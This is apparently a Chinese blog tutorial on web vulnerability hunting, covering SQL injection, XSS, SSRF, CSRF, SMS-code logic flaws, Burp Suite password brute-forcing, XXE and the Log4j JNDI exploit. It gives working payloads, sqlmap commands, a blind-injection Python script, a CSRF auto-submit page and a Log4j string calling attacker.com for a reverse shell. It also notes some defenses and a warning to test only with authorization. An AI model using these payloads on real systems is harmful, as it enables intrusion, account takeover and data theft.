当前位置: 首页 > backend >正文

Web安全与漏洞挖掘

WEB-01:Web安全基础概览(一)

核心概念

  • OWASP Top 10:2023年最新风险包括注入漏洞、身份认证失效、敏感数据泄露等。

  • 攻击面:前端(XSS、CSRF)、后端(SQL注入、文件上传)、协议层(HTTP头注入)。

  • 防御原则:最小权限、输入验证、输出编码、深度防御。

实战建议

  • 使用浏览器开发者工具(F12)分析请求/响应,定位潜在漏洞点。

WEB-02:SQL注入漏洞原理与危害

原理:通过未过滤的用户输入拼接SQL语句,篡改查询逻辑。

攻击类型

  1. 联合查询注入' UNION SELECT username, password FROM users--

  2. 报错注入' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--

  3. 盲注:基于布尔或时间延迟判断结果(如' AND IF(1=1, SLEEP(5), 0)--)。

危害

  • 数据库拖库(如用户凭证、支付信息)。

  • 服务器文件读取(通过LOAD_FILE()函数)。

  • 远程命令执行(通过数据库导出功能)。


WEB-03:寻找第一个SQL注入漏洞

手动测试步骤

  1. 探测注入点:在输入框或URL参数中添加'",观察是否返回数据库错误。

  2. 验证漏洞


http://example.com?id=1' AND '1'='1 -- 页面正常 http://example.com?id=1' AND '1'='2 -- 页面异常 
  1. 利用工具:使用sqlmap自动化检测:

sqlmap -u "http://example.com?id=1" --dbs 

防御方案

  • 预编译语句(如Java的PreparedStatement)。

  • 使用ORM框架(如Hibernate)。


WEB-04:Python实现自动化SQL注入攻击(一)

代码示例(基于布尔盲注):


import requests def check_vulnerability(url): payload = "1' AND 1=1 -- " response = requests.get(url + payload) if "Welcome" in response.text: return True else: return False # 调用函数 target_url = "http://example.com?id=" print("漏洞存在" if check_vulnerability(target_url) else "漏洞不存在") 

进阶:结合二分法逐字符提取数据库名(参考sqlmap算法)。


WEB-05:XSS、SSRF、CSRF漏洞中的Fuzz技巧

  1. XSS Fuzz
  • 测试Payload:<script>alert(1)</script><img src=x onerror=alert(1)>

  • 使用工具:Burp Suite的Intruder模块批量测试输入点。

  1. SSRF Fuzz
  • 探测内网IP:将参数替换为http://127.0.0.1:8080file:///etc/passwd

  • 绕过限制:使用DNS重绑定或URL编码(如http://ⓔⓧⓐⓜⓟⓛⓔ.com)。

  1. CSRF Fuzz
  • 生成POC页面:

<form action="http://target.com/change_email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit();</script> 

WEB-06:短信验证码逻辑漏洞(爆破、回显、转友)

  1. 爆破漏洞
  • 场景:验证码未做次数限制。

  • 攻击:使用Burp Suite的Intruder对4位数字验证码暴力枚举(0000-9999)。

  1. 回显漏洞
  • 场景:验证码直接返回在响应中(如JSON字段{"code": "1234"})。

  • 利用:自动化脚本提取验证码并提交。

  1. 转友漏洞
  • 场景:验证码与手机号未绑定,攻击者可复用验证码至其他号码。

  • 绕过:拦截请求修改手机号参数为受害者号码。


WEB-07:验证码与手机未绑定认证关系

漏洞原理

服务端仅校验验证码是否正确,未验证发送验证码的手机号与提交请求的手机号是否一致。

实战案例

  1. 使用自己手机号获取验证码。

  2. 提交验证码时,将请求中的手机号参数改为目标号码。

  3. 服务端误认为目标号码已验证,允许重置密码或登录。

修复方案

  • 绑定Session或Token关联手机号与验证码。

WEB-08:实战利用BP挖掘口令漏洞

步骤

  1. 捕获登录请求:通过Burp Suite拦截登录POST请求。

  2. 标记Fuzz点:选中密码字段,右键发送至Intruder

  3. 加载字典:使用rockyou.txt或自定义弱口令列表(如admin/123456)。

  4. 分析结果:根据响应长度或状态码识别成功登录。


WEB-09:BOS/Kites AMS中的Fuzz骚姿势

BOS(Bucket Overwrite Storage)漏洞

  • Fuzz目标:上传文件名参数(如../../../etc/passwd)。

  • 利用:覆盖服务器关键文件,触发RCE。

Kites AMS漏洞

  • Fuzz点:XML解析模块(XXE注入)。

  • Payload示例:


<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> 

WEB-10:实战Fuzz参数到远程RCE漏洞控制电脑

案例:Apache Log4j 2.x RCE(CVE-2021-44228)

  1. Fuzz输入点:所有用户可控的日志字段、HTTP头、表单参数。

  2. 注入Payload


${jndi:ldap://attacker.com/Exploit} 
  1. 搭建恶意LDAP服务:使用工具marshalsec启动LDAP重定向至恶意类。

  2. 获取反向Shell:目标服务器加载远程类后,执行反向连接命令。


总结

本部分系统剖析了Web安全的核心漏洞类型与高级挖掘技巧,从SQL注入到逻辑漏洞,结合自动化工具与手动Fuzz方法,覆盖攻击者视角的完整渗透链路。下期预告:漏洞复现与自动化工具(Xray联动、Docker快速搭建靶场)!


注意事项

  • 所有漏洞验证需在授权范围内进行,禁止非法测试。

  • 建议使用DVWA、WebGoat等靶场进行练习。

http://www.xdnf.cn/news/8041.html

相关文章:

  • C++ inline 内联函数
  • 【PhysUnits】7 类型整数基本结构体(basic.rs)
  • 掩膜合并代码
  • 力扣算法---哈希表总结篇
  • 【无标题】Spring AI 1.0 正式发布!核心内容和智能体详解
  • upload-labs通关笔记-第15关 文件上传之getimagesize绕过(图片马)
  • C语言判断素数(附带源码和解析)
  • 第十三届蓝桥杯国赛PythonA题解
  • 贪心算法题目合集2
  • 链表day3
  • Linux电源管理——PSCI初始化流程和多核启动流程
  • 对于final、finally和finalize不一样的理解
  • Java基于SSM的数学辅导微信小程序【附源码、文档说明】
  • 招投标项目记录
  • 一键二次元风格转换:风格转换 ComfyUI 使用教学--
  • 逆向学习笔记1
  • 【性能提升300%】Function Calling高并发实践:gRPC优化+缓存策略+容错设计​
  • 2024正式版企业级在线客服系统源码+语音定位+快捷回复+图片视频传输+安装教程
  • id分页遍历数据漏行问题
  • 猎板PCB如何以高可靠方案护航大国重器?
  • 发布Chrome浏览器插件的几种方法
  • C++进阶--C++11
  • C++ stack对象创建、入栈、获取栈顶
  • MySQL高可用实战:PXC集群原理与部署全解析,让数据库永不宕机
  • vue页面实现table动态拆分列功能
  • 江科大TIM定时器hal库实现
  • 自定义属性面板开发指南:公开属性声明、监听回调与基础类型配置
  • Linux:缓冲区
  • BigFoot (DBM) Deadly Boss Mods
  • DL00988-稀疏增强数据transformer船舶AIS轨迹预测含完整数据集